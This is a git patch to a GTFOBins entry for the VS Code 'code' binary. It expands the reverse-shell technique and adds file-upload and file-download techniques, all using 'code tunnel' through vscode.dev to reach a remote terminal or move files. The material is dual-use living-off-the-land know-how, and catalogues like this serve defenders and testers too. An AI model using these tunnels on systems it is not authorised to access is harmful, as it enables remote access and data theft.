From 70d0ff6a74cd3850aaa6cacc63283ca347ca7b86 Mon Sep 17 00:00:00 2001 From: vhash <29121316+LucasVanHaaren@users.noreply.github.com> Date: Mon, 25 Sep 2023 15:59:18 +0200 Subject: [PATCH] add file-{upload,download} --- _gtfobins/code.md | 22 +++++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/_gtfobins/code.md b/_gtfobins/code.md index b88670a..41ace2a 100644 --- a/_gtfobins/code.md +++ b/_gtfobins/code.md @@ -1,7 +1,23 @@ --- functions: reverse-shell: - - description: It can be used to create a tunnel to vscode.dev, that's accessible from anywhere, allowing to spawn a shell through it. - code: | - code tunnel + - description: | + Create a tunnel to `vscode.dev`, then complete Github device registration and browse `https://vscode.dev/tunnel/my-tunnel-name`. + + Select `View \ Terminal` to spawn a shell on remote. + code: code tunnel -name 'my-tunnel-name' + file-upload: + - description: | + Create a tunnel to `vscode.dev`, then complete Github device registration and browse `https://vscode.dev/tunnel/my-tunnel-name`. + + In the `Explorer` tab, select `Open Folder`, then right-click on the folder and select `Upload`. + + Select file from the local file browser. + code: code tunnel -name 'my-tunnel-name' + file-download: + - description: | + Create a tunnel to `vscode.dev`, then complete Github device registration and browse `https://vscode.dev/tunnel/my-tunnel-name`. + + In the `Explorer` tab, select `Open Folder`, then select a file, right-click and select `Download`. + code: code tunnel -name 'my-tunnel-name' ---